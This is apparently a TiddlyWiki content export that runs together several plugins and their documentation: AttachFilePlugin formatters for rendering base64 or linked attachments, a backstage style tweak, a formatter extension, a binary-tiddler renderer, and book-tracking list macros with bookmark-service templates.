|Type|plugin|
|Description|run-time library for displaying attachment tiddlers|
Runtime processing for //rendering// attachment tiddlers created by [[AttachFilePlugin]].   Attachment tiddlers are tagged with<<tag attachment>>and contain binary file content (e.g., jpg, gif, pdf, mp3, etc.) that has been stored directly as base64 text-encoded data or can be loaded from external files stored on a local filesystem or remote web server.  Note: after creating new attachment tiddlers, you can remove [[AttachFilePlugin]], as long as you retain //this// tiddler (so that images can be rendered later on).
!!!!!Formatters
<<<
This plugin extends the behavior of the following TiddlyWiki core "wikify()" formatters:
* embedded images: {{{[img[tooltip|image]]}}}
* linked embedded images: {{{[img[tooltip|image][link]]}}}
* external/"pretty" links: {{{[[label|link]]}}}
''Please refer to AttachFilePlugin (source: http://www.TiddlyTools.com/#AttachFilePlugin) for additional information.''
<<<
!!!!!Revisions
<<<
2009.10.10 [4.0.1] in fileExists(), check for IE to avoid hanging Chrome during startup
2009.06.04 [4.0.0] changed attachment storage format to use //sections// instead of embedded substring markers.
2008.01.08 [*.*.*] plugin size reduction: documentation moved to ...Info
2007.12.04 [*.*.*] update for TW2.3.0: replaced deprecated core functions, regexps, and macros
2007.10.29 [3.7.0] more code reduction: removed upload handling from AttachFilePlugin (saves ~7K!)
2007.10.28 [3.6.0] removed duplicate formatter code from AttachFilePlugin (saves ~10K!) and updated documentation accordingly.  This plugin ([[AttachFilePluginFormatters]]) is now //''required''// in order to display attached images/binary files within tiddler content.
2006.05.20 [3.4.0] through 2007.03.01 [3.5.3] sync with AttachFilePlugin
2006.05.13 [3.2.0] created from AttachFilePlugin v3.2.0
<<<
!!!!!Code
***/
// // version
//{{{
version.extensions.AttachFilePluginFormatters= {major: 4, minor: 0, revision: 1, date: new Date(2009,10,10)};
//}}}

//{{{
if (config.macros.attach==undefined) config.macros.attach= { };
//}}}
//{{{
if (config.macros.attach.isAttachment==undefined) config.macros.attach.isAttachment=function (title) {
	var tiddler = store.getTiddler(title);
	if (tiddler==undefined || tiddler.tags==undefined) return false;
	return (tiddler.tags.indexOf("attachment")!=-1);
}
//}}}

//{{{
// test for local file existence - returns true/false without visible error display
if (config.macros.attach.fileExists==undefined) config.macros.attach.fileExists=function(f) {
	if(window.Components) { // MOZ
		try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); }
		catch(e) { return false; } // security access denied
		var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
		try { file.initWithPath(f); }
		catch(e) { return false; } // invalid directory
		return file.exists();
	}
	else if (config.browser.isIE) { // IE
		var fso = new ActiveXObject("Scripting.FileSystemObject");
		return fso.FileExists(f);
	}
	else return true; // other browsers: assume file exists
}
//}}}

//{{{
if (config.macros.attach.getAttachment==undefined) config.macros.attach.getAttachment=function(title) {

	// extract embedded data, local and remote links (if any)
	var text=store.getTiddlerText(title,'');
	var embedded=store.getTiddlerText(title+'##data','').trim();
	var locallink=store.getTiddlerText(title+'##file','').trim();
	var remotelink=store.getTiddlerText(title+'##url','').trim();

	// backward-compatibility for older attachments (pre 4.0.0)
	var startmarker="---BEGIN_DATA---\n";
	var endmarker="\n---END_DATA---";
	var pos=0; var endpos=0;
	if ((pos=text.indexOf(startmarker))!=-1 && (endpos=text.indexOf(endmarker))!=-1)
		embedded="data:"+(text.substring(pos+startmarker.length,endpos)).replace(/\n/g,'');
	if ((pos=text.indexOf("/%LOCAL_LINK%/"))!=-1)
		locallink=text.substring(text.indexOf("|",pos)+1,text.indexOf("]]",pos));
	if ((pos=text.indexOf("/%REMOTE_LINK%/"))!=-1)
		remotelink=text.substring(text.indexOf("|",pos)+1,text.indexOf("]]",pos));

	// if there is a data: URI defined (not supported by IE)
	if (embedded.length && !config.browser.isIE) return embedded;

	// document is being served remotely... use remote URL (if any)  (avoids security alert)
	if (remotelink.length && document.location.protocol!="file:")
		return remotelink;  

	// local link only... return link without checking file existence (avoids security alert)
	if (locallink.length && !remotelink.length) 
		return locallink; 

	// local link, check for file exist... use local link if found
	if (locallink.length) { 
		locallink=locallink.replace(/^\.[\/\\]/,''); // strip leading './' or '.\' (if any)
		if (this.fileExists(getLocalPath(locallink))) return locallink;
		// maybe local link is relative... add path from current document and try again
		var pathPrefix=document.location.href;  // get current document path and trim off filename
		var slashpos=pathPrefix.lastIndexOf("/"); if (slashpos==-1) slashpos=pathPrefix.lastIndexOf("\\"); 
		if (slashpos!=-1 && slashpos!=pathPrefix.length-1) pathPrefix=pathPrefix.substr(0,slashpos+1);
		if (this.fileExists(getLocalPath(pathPrefix+locallink))) return locallink;
	}

	// no embedded data, no local (or not found), fallback to remote URL (if any)
	if (remotelink.length) return remotelink;

	// attachment URL doesn't resolve, just return input as is
	return title;
}
//}}}
//{{{
if (config.macros.attach.init_formatters==undefined) config.macros.attach.init_formatters=function() {
	if (this.initialized) return;

	// find the formatter for "image" and replace the handler
	for (var i=0; i<config.formatters.length && config.formatters[i].name!="image"; i++);
	if (i<config.formatters.length)	config.formatters[i].handler=function(w) {
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source)
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) // Simple bracketted link
			{
			var e = w.output;
			if(lookaheadMatch[5])
				{
				var link = lookaheadMatch[5];
				// ELS -------------
				var external=config.formatterHelpers.isExternalLink(link);
				if (external)
					{
					if (config.macros.attach.isAttachment(link))
						{
						e = createExternalLink(w.output,link);
						e.href=config.macros.attach.getAttachment(link);
						e.title = config.macros.attach.linkTooltip + link;
						}
					else
						e = createExternalLink(w.output,link);
					}
				else 
					e = createTiddlyLink(w.output,link,false,null,w.isStatic);
				// ELS -------------
				addClass(e,"imageLink");
				}
			var img = createTiddlyElement(e,"img");
			if(lookaheadMatch[1])
				img.align = "left";
			else if(lookaheadMatch[2])
				img.align = "right";
			if(lookaheadMatch[3])
				img.title = lookaheadMatch[3];
			img.src = lookaheadMatch[4];
			// ELS -------------
			if (config.macros.attach.isAttachment(lookaheadMatch[4]))
				img.src=config.macros.attach.getAttachment(lookaheadMatch[4]);
			// ELS -------------
			w.nextMatch = this.lookaheadRegExp.lastIndex;
		}
	}
//}}}
//{{{
	// find the formatter for "prettyLink" and replace the handler
	for (var i=0; i<config.formatters.length && config.formatters[i].name!="prettyLink"; i++);
	if (i<config.formatters.length)	{
		config.formatters[i].handler=function(w) {
			this.lookaheadRegExp.lastIndex = w.matchStart;
			var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
			if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
				var e;
				var text = lookaheadMatch[1];
				if(lookaheadMatch[3]) {
					// Pretty bracketted link
					var link = lookaheadMatch[3];
					if (config.macros.attach.isAttachment(link)) {
						e = createExternalLink(w.output,link);
						e.href=config.macros.attach.getAttachment(link);
						e.title=config.macros.attach.linkTooltip+link;
					}
					else e = (!lookaheadMatch[2] && config.formatterHelpers.isExternalLink(link))
						? createExternalLink(w.output,link)
						: createTiddlyLink(w.output,link,false,null,w.isStatic);
				} else {
					e = createTiddlyLink(w.output,text,false,null,w.isStatic);
				}
				createTiddlyText(e,text);
				w.nextMatch = this.lookaheadRegExp.lastIndex;
			}
		}
	} // if "prettyLink" formatter found
	this.initialized=true;
}
//}}}
//{{{
config.macros.attach.init_formatters(); // load time init
//}}}
//{{{
if (TiddlyWiki.prototype.coreGetRecursiveTiddlerText==undefined) {
	TiddlyWiki.prototype.coreGetRecursiveTiddlerText = TiddlyWiki.prototype.getRecursiveTiddlerText;
	TiddlyWiki.prototype.getRecursiveTiddlerText = function(title,defaultText,depth) {
		return config.macros.attach.isAttachment(title)?
			config.macros.attach.getAttachment(title):this.coreGetRecursiveTiddlerText.apply(this,arguments);
	}
}
//}}}
/***
|Name|AttachFilePluginInfo|
|Source|http://www.TiddlyTools.com/#AttachFilePlugin|
|Documentation|http://www.TiddlyTools.com/#AttachFilePluginInfo|
|Version|4.0.0|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|Documentation for AttachFilePlugin|
Store or link binary files (such as jpg, gif, pdf or even mp3) within your TiddlyWiki document and then use them as images or links from within your tiddler content.
!!!!!Inline interface (live)
>see [[AttachFile]] (shadow tiddler)
><<tiddler AttachFile>>
!!!!!Syntax
<<<
''To display the attach file control panel, simply view the [[AttachFile]] shadow tiddler that is automatically created by the plugin, and contains an instance of the inline control panel.''.  Or, you can write:
{{{
<<attach inline>>
}}}
in any tiddler to display the control panel embedded within that tiddler.  Note: you can actually use any unique identifier in place of the "inline" keyword.  Each unique id creates a separate instance of the controls.  If the same ID is used in more than one tiddler, then the control panel is automatically moved to the most recently rendered location.  Or, you can write:
{{{
<<attach>>
}}}
(with no ID parameter) in SidebarOptions.  This adds a command link that opens the controls as a floating panel, positioned directly to the left of the sidebar.
<<<
!!!!!Usage
<<<
Binary file content can be stored in three different locations:
#embedded in the attachment tiddler (encoded as base64)
#on your filesystem (a 'local link' path/filename)
#on a web server (a 'remote link' URL)
The plugin creates an "attachment tiddler" for each file you attach.  Regardless of where you store the binary content, your document can refer to the attachment tiddler rather than using a direct file or URL reference in your embedded image or external links, so that changing document locations will not require updating numerous tiddlers or copying files from one system to another.
> Important note: As of version 3.6.0, in order to //render// images and other binary attachments created with this plugin, you must also install [[AttachFilePluginFormatters]], which extends the behavior of the TiddlyWiki core formatters for embedded images ({{{[img[tooltip|image]]}}}), linked embedded images ({{{[img[tooltip|image][link]]}}}), and external/"pretty" links ({{{[[label|link]]}}}), so that these formatter will process references to attachment tiddlers as if a normal file reference had been provided. |
When you attach a file, a tiddler (tagged with<<tag attachment>>) is generated (using the source filename as the tiddler's title).  The tiddler contains //''base64 text-encoded binary data''//, surrounded by {{{/%...%/}}} comment markers (so they are not visible when viewing the tiddler).  The tiddler also includes summary details about the file: when it was attached, by whom, etc. and, if the attachment is an image file (jpg, gif, or png), the image is automatically displayed below the summary information.
>Note: although you can edit an attachment tiddler, ''don't change any of the encoded content below the attachment header'', as it has been prepared for use in the rest of your document, and even changing a single character can make the attachment unusable.  //If needed, you ''can'' edit the header information or even the MIME type declaration in the attachment data, but be very careful not to change any of the base64-encoded binary data.//
Unfortunately, embedding just a few moderately-sized binary files using base64 text-encoding can dramatically increase the size of your document.   To avoid this problem, you can create attachment tiddlers that define external local filesystem (file://) and/or remote web server (http://) 'reference' links, without embedding the binary data directly in the tiddler (i.e., uncheck "embed data" in the 'control panel').

These links provide an alternative source for the binary data: if embedded data is not found (or you are running on Internet Explorer, which does not currently support using embedded data), then the plugin tries the local filesystem reference.  If a local file is not found, then the remote reference (if any) is used.  This "fallback" approach also lets you 'virtualize' the external links in your document, so that you can access very large binary content such as PDFs, MP3's, and even *video* files, by using just a 'remote reference link' without embedding any data or downloading huge files to your hard disk.

Of course, when you //do// download an attached file, the local copy will be used instead of accessing a remote server each time, thereby saving bandwidth and allowing you to 'go mobile' without having to edit any tiddlers to alter the link locations...
<<<
!!!!!Syntax / Examples
<<<
To embed attached files as images or link to them from other tiddlers, use the standard ~TiddlyWiki image syntax ({{{[img[tooltip|filename]]}}}), linked image syntax ({{{[img[tooltip|filename][tiddlername]]}}}) , or "external link" syntax ({{{[[text|URL]]}}}), replacing the filename or URL that is normally entered with the title of an attachment tiddler.

embedded image data:
>{{{[img[Meow|AttachFileSample]]}}}
>[img[Meow|AttachFileSample]]
embedded image data with link to larger remote image:
>{{{[img[click for larger view|AttachFileSample][AttachFileSample2]]}}}
>[img[click for larger view|AttachFileSample][AttachFileSample2]]
'external' link to embedded image data:
>{{{[[click to view attachment|AttachFileSample]]}}}
>[[click to view attachment|AttachFileSample]]
'external' link to remote image:
>{{{[[click to view attachment|AttachFileSample2]]}}}
>[[click to view attachment|AttachFileSample2]]
regular ~TiddlyWiki links to attachment tiddlers:
>{{{[[AttachFileSample]]}}} [[AttachFileSample]]
>{{{[[AttachFileSample2]]}}} [[AttachFileSample2]]
<<<
!!!!!Defining MIME types
<<<
When you select a source file, a ''[[MIME|http://en.wikipedia.org/wiki/MIME]]'' file type is automatically suggested, based on filename extension.  The AttachFileMIMETypes tiddler defines the list of MIME types that will be recognized by the plugin.  Each MIME type definition consists of exactly two lines of text: the official MIME type designator (e.g., "text/plain", "image/gif", etc.), and a space-separated list of file extensions associated with that type.  List entries are separated by "----" (horizontal rules).
<<<
!!!!!Known Limitations
<<<
Internet Explorer does not support the data: URI scheme, and cannot use the //embedded// data to render images or links.  However, you can still use the local/remote link definitions to create file attachments that are stored externally.  In addition, while it is relatively easy to read local //text// files, reading binary files is not directly supported by IE's FileSystemObject (FSO) methods, and other file I/O techniques are subject to security barriers or require additional MS proprietary technologies (like ASP or VB) that make implementation more difficult.  As a result, you cannot //create// new attachment tiddlers using IE.
<<<
!!!!!Installation
<<<
Import (or copy/paste) the following tiddlers into your document:
* [[AttachFilePlugin]] (tagged with <<tag systemConfig>>)
* [[AttachFilePluginFormatters]] ("runtime distribution library") (tagged with <<tag systemConfig>>)
* [[AttachFileSample]] and [[AttachFileSample2]] //(tagged with <<tag attachment>>)//
* [[AttachFileMIMETypes]] //(defines binary file types)//
> Important note: As of version 3.6.0, in order to //render// images and other binary attachments created with this plugin, you must also install [[AttachFilePluginFormatters]], which extends the behavior of the TiddlyWiki core formatters for embedded images ({{{[img[tooltip|image]]}}}), linked embedded images ({{{[img[tooltip|image][link]]}}}), and external/"pretty" links ({{{[[label|link]]}}}), so that these formatter will process references to attachment tiddlers as if a normal file reference had been provided. |
<<<
!!!!!Revisions
<<<
2009.06.04 4.0.0 changed attachment storage format to use //sections// instead of embedded substring markers.
2008.07.21 3.9.0 Fixup for FireFox 3: use HTML with separate text+button control instead of type='file' control
2008.05.12 3.8.1 automatically add 'attach' task to backstage (moved from BackstageTweaks)
2008.04.09 3.8.0 in onChangeSource(), if source matches current document folder, use relative reference for local link.  Also, disable 'embed' when using IE (which //still// doesn't support data: URI)
2008.04.07 3.7.3 fixed typo in HTML for 'local file link' so that clicking in input field doesn't erase current path/file (if any)
2008.04.07 3.7.2 auto-create AttachFile shadow tiddler for inline interface
2008.01.08 [*.*.*] plugin size reduction: documentation moved to ...Info
2007.12.04 [*.*.*] update for TW2.3.0: replaced deprecated core functions, regexps, and macros
2007.12.03 3.7.1 in createAttachmentTiddler(), added optional "noshow" flag to suppress display of newly created tiddlers.
2007.10.29 3.7.0 code reduction: removed support for built-in upload to server... on-line hosting of binary attachments is left to the document author, who can upload/host files using 3rd-party web-based services (e.g. www.flickr.com, ) or stand-alone applications (e.g., FTP).
2007.10.28 3.6.0 code reduction: removed duplicate definition of image and prettyLink formatters.  Rendering of attachment tiddlers now //requires// installation of AttachFilePluginFormatters
2007.03.01 3.5.3 use apply() to invoke hijacked function
2007.02.25 3.5.2 in hijack of "prettyLink", fix version check for TW2.2 compatibility (prevent incorrect use of fallback handler)
2007.01.09 3.5.1 onClickAttach() refactored to create separate createAttachmentTiddler() API for use with FileDropPluginHandlers
2006.11.30 3.5.0 in getAttachment(), for local references, add check for file existence and fallback to remote URL if local file not found.  Added fileExists() to encapsulate FF vs. IE local file test function (IE FSO object code is TBD).
2006.11.29 3.4.8 in hijack for PrettyLink, 'simple bracketed link' opens tiddler instead of external link to attachment
2006.11.29 3.4.7 in readFile(), added try..catch around initWithPath() to handle invalid/non-existent paths better.
2006.11.09 3.4.6 REAL FIX for TWv2.1.3: incorporate new TW2.1.3 core "prettyLink" formatter regexp handling logic and check for version < 2.1.3 with fallback to old plugin code.  Also, cleanup table layout in HTML (added "border:0" directly to table elements to override stylesheet)
2006.11.08 3.4.5 TEMPORARY FIX for TWv2.1.3: disable hijack of wikiLink formatter due to changes in core wikiLink regexp definition.  //Links to attachments are broken, but you can still use {{{[img[TiddlerName]]}}} to render attachments as images, as well as {{{background:url('[[TiddlerName]]')}}} in CSS declarations for background images.//
2006.09.10 3.4.4 update formatters for 2.1 compatibility (use this.lookaheadRegExp instead of temp variable)
2006.07.24 3.4.3 in prettyLink formatter, added check for isShadowTiddler() to fix problem where shadow links became external links.
2006.07.13 3.4.2 in getAttachment(), fixed stripping of newlines so data: used in CSS will work
2006.05.21 3.4.1 in getAttachment(), fixed substring() to extract data: URI (was losing last character, which broken rendering of SOME images)
2006.05.20 3.4.0 hijack core getRecursiveTiddlerText() to support rendering attachments in stylesheets (e.g. {{{url([[AttachFileSample]])}}})
2006.05.20 3.3.6 add "description" feature to easily include notes in attachment tiddler (you can always edit to add them later... but...)
2006.05.19 3.3.5 add "attach as" feature to change default name for attachment tiddlers.  Also, new optional param to specify tiddler name (disables editing)
2006.05.16 3.3.0 completed XMLHttpRequest handling for GET or POST to configurable server scripts
2006.05.13 3.2.0 added interface for upload feature.  Major rewrite of code for clean object definitions.  Major improvements in UI interaction and validation.
2006.05.09 3.1.1 add wikifer support for using attachments in links from "linked image" syntax: {{{[img[tip|attachment1][attachment2]]}}}
2006.05.09 3.1.0 lots of code changes: new options for attachments that use embedded data and/or links to external files (local or remote)
2006.05.03 3.0.2 added {{{/%...%/}}} comments around attachment data to hide it when viewing attachment tiddler.
2006.02.05 3.0.1 wrapped wikifier hijacks in initAttachmentFormatters() function to eliminate globals and avoid FireFox 1.5.0.1 crash bug when referencing globals
2005.12.27 3.0.0 Update for TW2.0.  Automatically add 'excludeMissing' tag to attachments
2005.12.16 2.2.0 Dynamically create/remove attachPanel as needed to ensure only one instance of interface elements exists, even if there are multiple instances of macro embedding.
2005.11.20 2.1.0 added wikifier handler extensions for "image" and "prettyLink" to render tiddler attachments
2005.11.09 2.0.0 begin port from old ELS Design adaptation based on ~TW1.2.33
2005.07.20 1.0.0 Initial release (as adaptation)
<<<

Some notes about Ayn Rand...
/***
!!!Adjustments to Backstage appearances
***/
//{{{
if (config.tasks!=undefined) { // TW2.2B3 or above

// hide "backstage/close" text, use alternative glyphs
config.messages.backstage.open.text="";
config.messages.backstage.close.text="";
config.glyphs.codes.bentArrowLeft=["\u00ab","\u00ab"]; // left double-angle quote (&laquo;)
config.glyphs.codes.bentArrowRight=["\u00bb","\u00bb"]; // right double-angle quote (&raquo;)
// config.glyphs.codes.downTriangle=["\u25bc","\u25bc"]; // down triangle

// adjust backstage panel styles
setStylesheet("\
	#backstagePanel \
		{ background:#eee !important; padding:.5em; \
		border:2px solid; border-width-top:0px; \
		-moz-border-radius-bottomleft:1em; -moz-border-radius-bottomright:1em} \
		-webkit-border-bottom-left-radius:1em; -webkit-border-bottom-right-radius:1em} \
	#backstageButton \
		{ font-size:9pt; color:white; } \
	#backstageShow \
		{ color: white !important; } \
	#backstageArea \
		{ font-size:7pt; } \
	","BackstageTweaks");

// Hijack backstage.init() to add "mouseover" class to backstage button
backstage.save_init=backstage.init;
backstage.init=function() {
	this.save_init.apply(this,arguments);
	var btn=document.getElementById("backstageShow");
	if (btn && (addClass instanceof Function)) addClass(btn,"mouseover");
}

} // end if (config.tasks)
//}}}
/***
|''Name:''|betterFormatterPlugin|
|''Version:''|2006-04-10 - 1.0.4|
|''Source:''|http://knighjm.googlepages.com/knightnet-default-tw.html#betterFormatterPlugin|
|''Author:''|[[Julian Knight]]|
|''Type:''|Formatter Extension|
|''Requires:''|TiddlyWiki 2.0.0 or higher|
!Description
Make the formatters more flexible:
* Allows white-space before the block formatters
* Allows more than 4 dashes to make an HR
* Handles number lists pasted from the web - these have " 1." etc. at the start of each line and this changes that into a level 1 ordered list.
* Allows a leading dash as an unordered list (only 1 level though to avoid clash with HR rule
!Revisions
|!2006-04-10 - 1.0.4|Minor improvements to versioning & improve description. No code changes|
|!2006-04-07 - 1.0.3|Moved to my Google web site|
|!2006-04-03 - 1.0.2|Add leading dash (unordered list)|
|!2006-03-30 - 1.0.1|Changed alt num list to prevent lines starting "1GB" from being lists|
!To Do
* Leading dash handling only returns a level 1 list at present. Not sure of the best way to handle this.
>  Could simply do 3 tests
!Tests
!!Standard heading 2
  !!!Heading 3 with leading spaces
*Standard list entry
  *With leading spaces
  ** sub-list with leading spaces
 - Dashed list
-- Dashed sub-list
--- Dashed sub-sub-list
----Not a list (4 leading dashes with text after)
HR with leading spaces and >4 dashes:
  -------------------------------------------
Number list as pasted from HTML:
   1. One
   2. Two
!Code
***/
//{{{
version.extensions.betterFormatterPlugin = {
   major: 1, minor: 0, revision: 4, date: new Date("Apr 10, 2006"), type: 'macro',
   source: 'http://knighjm.googlepages.com/knightnet-default-tw.html#betterFormatterPlugin'
};

oldWikify = wikify;
wikify = function(text,parent,highlightText,highlightCaseSensitive) {
  text = text.replace( /^\s*(!{1,5})/mg, "$1" ); // Allow leading white-space in headings
  text = text.replace( /^\s*\*/mg, "*" ); // Allow leading white-space in unordered lists
  text = text.replace( /^\s*\-{1,3}(?!\>+)(?!\-+)/mg, "*" ); // Allow leading dash to be an unordered list (max 3 levels to avoid HR clash)
  text = text.replace( /^\s*\#/mg, "#" ); // Allow leading white-space in ordered lists
  text = text.replace( /^\s*----+$/mg, "----" ); // Allow leading white-space and more dashes in HRs
  text = text.replace( /^\s*(>+)/mg, "$1" ); // Allow leading white-space in block quotes
  text = text.replace( /^\s*\d+\){0,1}\.+/mg, "#" ); // Alt num list (as pasted from html page to txt)
  oldWikify(text,parent,highlightText,highlightCaseSensitive);
}
//}}}
/***
!Note
I've tried the following to override the formatter object but the \s* doesn't seem to work for some reason?
{{{
//config.formatters[1].match = "^\s*----*$\\n?"; // h rule
//config.formatters[2].match = "^\s*!{1,5}"; // heading
//config.formatters[10].match = "^\s*>+"; // block quote by line
//config.formatters[11].match = "^\s*(?:(?:\\*+)|(?:#+))"; // lists
//config.formatters[11].lookahead = "^\s*(?:(\\*+)|(#+))"; // lists

// --- Not part of default ---
// config.formatters[29].match = "^\s*(?:(?:\?+)|(?:\++))"; // definition list
// config.formatters[29].lookahead = "^\s*(?:(\?+)|(\++))"; // definition list
}}}
***/
/***
!License
This plugin is released under the "Do whatever you like at your own risk" license.
***/

/***
|''Name''|BinaryTiddlersPlugin|
|''Description''|renders base64-encoded binary tiddlers as images or links|
|''Author''|FND|
|''Version''|0.3.2|
|''Status''|@@beta@@|
|''Source''|http://svn.tiddlywiki.org/Trunk/association/plugins/BinaryTiddlersPlugin.js|
|''License''|[[BSD|http://www.opensource.org/licenses/bsd-license.php]]|
|''CoreVersion''|2.5|
!Code
***/
//{{{
(function($) {

var ctfield = "server.content-type";

var plugin = config.extensions.BinaryTiddlersPlugin = {
	isWikiText: function(tiddler) {
		var ctype = tiddler.fields[ctfield];
		if(ctype) {
			return !this.isBinary(tiddler) && !this.isTextual(ctype);
		} else {
			return true;
		}
	},
	// NB: pseudo-binaries are considered non-binary here
	isBinary: function(tiddler) {
		var ctype = tiddler.fields[ctfield];
		return ctype ? !this.isTextual(ctype) : false;
	},
	isTextual: function(ctype) {
		return ctype.indexOf("text/") == 0
			|| this.endsWith(ctype, "+xml")
			|| ctype == 'application/json'
			|| ctype == 'application/javascript';
	},
	endsWith: function(str, suffix) {
		return str.length >= suffix.length &&
			str.substr(str.length - suffix.length) == suffix;
	},
        isLink: function(tiddler) {
            return this.isBinary(tiddler) && tiddler.text.indexOf("<html>") != -1
        }
};

// Disable edit for linked tiddlers (for now)
// This will be changed to a GET then PUT
config.commands.editTiddler.isEnabled = function(tiddler) {
    var existingTest = config.commands.editTiddler.isEnabled;
    if (existingTest) {
        return existingTest && !plugin.isLink(tiddler);
    } else {
        return !plugin.isLink(tiddler);
    }
};

// hijack text viewer to add special handling for binary tiddlers
var _view = config.macros.view.views.wikified;
config.macros.view.views.wikified = function(value, place, params, wikifier,
		paramString, tiddler) {
	var ctype = tiddler.fields["server.content-type"];
	if(params[0] == "text" && ctype && !tiddler.tags.contains("systemConfig") && !plugin.isLink(tiddler)) {
		var el;
		if(plugin.isBinary(tiddler)) {
			var uri = "data:%0;base64,%1".format([ctype, tiddler.text]); // TODO: fallback for legacy browsers
			if(ctype.indexOf("image/") == 0) {
				el = $("<img />").attr("alt", tiddler.title).attr("src", uri);
			} else {
				el = $("<a />").attr("href", uri).text(tiddler.title);
			}
		} else {
			el = $("<pre />").text(tiddler.text);
		}
		el.appendTo(place);
	} else {
		_view.apply(this, arguments);
	}
};

// hijack edit macro to disable editing of binary tiddlers' body
var _editHandler = config.macros.edit.handler;
config.macros.edit.handler = function(place, macroName, params, wikifier,
		paramString, tiddler) {
	if(params[0] == "text" && plugin.isBinary(tiddler)) {
		return false;
	} else {
		_editHandler.apply(this, arguments);
	}
};

// hijack autoLinkWikiWords to ignore binary tiddlers
var _autoLink = Tiddler.prototype.autoLinkWikiWords;
Tiddler.prototype.autoLinkWikiWords = function() {
	return plugin.isWikiText(this) ? _autoLink.apply(this, arguments) : false;
};

})(jQuery);
//}}}
<<deleteAllTagged>> -- //''Warning:''// This will delete your entire book collection!
{{highlight{
  {{cols2{
    {{col{
        <<dGSDList title:'Currently Reading'
	  startTag:Book
	  tags:'Reading && !Trash'
	  view:bookTitleRating
          addButtonTags:'Book Reading'
          group:Genre
	  gView:bold
	  mode:global
	  dontShowEmpty:no
	  ignoreRealm:{{config.mGTD.getOptChk('AlertsIgnoreRealm')?'yes':''}}
        >>
    }}}
    {{col{
        <<dGSDList title:'Books On Loan'
          startTag:Book
	  tags:'LoanedOut && !Trash'
	  view:bookLoan
          dontShowEmpty:yes
	  sort:-title
	  mode:local
          group:Contact
	  gView:bold
	  addButtonTags:'Book LoanedOut'
	  ignoreRealm:{{config.mGTD.getOptChk('AlertsIgnoreRealm')?'yes':''}}
	">>
    }}}
  }}}
}}}

{{cols2{
    {{col{
        <<dGSDList title:'Not Yet Read'
	  startTag:Book
	  tags:'!PutDown && !Finished && !GaveAway && !Reading && !Trash'
	  view:bookTitle
          addButtonTags:'Book'
	  dontShowEmpty:no
          group:Genre
          gView:bold
	  mode:global
	  ignoreRealm:{{config.mGTD.getOptChk('AlertsIgnoreRealm')?'yes':''}}
        >>
    }}}

    {{col{
        {{scroll10{
            <<dGSDList title:'[[Finished Reading]]'
	      startTag:Book
	      tags:'Finished && !Trash'
	      view:bookTitleRating
              addButtonTags:'Book Finished'
	      mode:global
	      dontShowEmpty:no
              group:Genre
              gView:bold
	      sort:-book_finished
	      ignoreRealm:{{config.mGTD.getOptChk('AlertsIgnoreRealm')?'yes':''}}
            >>
        }}}
    }}}
}}}
<<deleteAllTagged>> //''Warning'': This will delete all your Book Notes!!//

!Decriptions of Params
|!Params |%0|%1|%2|%3|%4|%5|
|!Descriptions|title|url|selections|descriptions|rererence|tags|
!Lingos of command button
{{{
''text:'' Bookmarks
''tooltip:'' Bookmark this tiddlers to ...
''popupNone:'' There are no bookmark services
}}}
!List of Services
{{{
''Services:'' Del.icio.us,Digg,Google,Yahoo,Furl,HemiDemi,MyShare,Baidu,Youpus,Technorati
}}}
!Definition of Services
{{{
''HemiDemi:''<br/>[[HemiDemi|http://www.hemidemi.com/user_bookmark/new?title=%0&url=%1&quotes=%2&description=%3&via=%4&tag_string=%5]]
''MyShare:''<br/>[[MyShare|http://myshare.url.com.tw/index.php?func=newurl&from=mysharepop&url=%1&desc=%0&contents=%3]]
''Baidu:''<br/>[[Baidu|http://cang.baidu.com/do/add?iu=%1&it=%0&dc=%3]]
''Google:''<br/>[[Google|http://www.google.com/bookmarks/mark?op=add&title=%0&bkmk=%1&annotation=%3&labels=%5]]
''Yahoo:''<br/>[[Yahoo|http://tw.myweb2.search.yahoo.com/myresults/bookmarklet?t=%1&u=%0&d=%3&ei=UTF-8]]
''Del.icio.us:''<br/>[[Del.icio.us|http://del.icio.us/post?title=%0&url=%1&notes=%3&tags=%5]]
''Digg:''<br/>[[Digg|http://digg.com/submit?phase=2&url=%0&title=%1&bodytext=%3]]
''Technorati:''<br/>[[Technorati|http://technorati.com/faves?add=%1&title=%0]]
''Furl:''<br/>[[Furl|http://www.furl.net/storeIt.jsp?t=%0&u=%1&r=%4&c=%2&p=1]]
''Youpush:''<br/>[[Youpush|http://www.youpush.net/submit.php?url=%1]]
}}}
<!--{{{-->
	<div macro="dGSDList title:'Books On Loan'
          tags:'Book && LoanedOut'
	  view:bookTitle
	  ignoreRealm:no
          group:Genre
          gView:bold
	  sort:-title
	  addButtonTags:'Book LoanedOut'
	"></div>
<!--}}}-->
/***
|Name|BreadcrumbsPlugin|
|Author|Eric Shulman|
|Source|http://www.TiddlyTools.com/#BreadcrumbsPlugin|
|Documentation|http://www.TiddlyTools.com/#BreadcrumbsPluginInfo|
|Version|2.1.4|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|list/jump to tiddlers viewed during this session plus "back" button/macro|
This plugin provides a list of links to all tiddlers opened during the session, creating a "trail of breadcrumbs" from one tiddler to the next, allowing you to quickly navigate to any previously viewed tiddler, or select 'home' to reset the display to the initial set of tiddlers that were open at the start of the session (i.e., when the document was loaded into the browser).
!!!!!Documentation
<<<
see [[BreadcrumbsPluginInfo]]
<<<
!!!!!Configuration
<<<
<<option chkCreateDefaultBreadcrumbs>> automatically create breadcrumbs display (if needed)
<<option chkShowBreadcrumbs>> show/hide breadcrumbs display
<<option chkReorderBreadcrumbs>> re-order breadcrumbs when visiting a previously viewed tiddler
<<option chkBreadcrumbsHideHomeLink>> omit 'Home' link from breadcrumbs display
<<option chkBreadcrumbsSave>> prompt to save breadcrumbs when 'Home' link is pressed
<<option chkShowStartupBreadcrumbs>> show breadcrumbs for 'startup' tiddlers
<<option chkBreadcrumbsReverse>> show breadcrumbs in reverse order (most recent first)
<<option chkBreadcrumbsLimit>> limit breadcrumbs display to {{twochar{<<option txtBreadcrumbsLimit>>}}} items
<<option chkBreadcrumbsLimitOpenTiddlers>> limit open tiddlers to {{twochar{<<option txtBreadcrumbsLimitOpenTiddlers>>}}} items

<<<
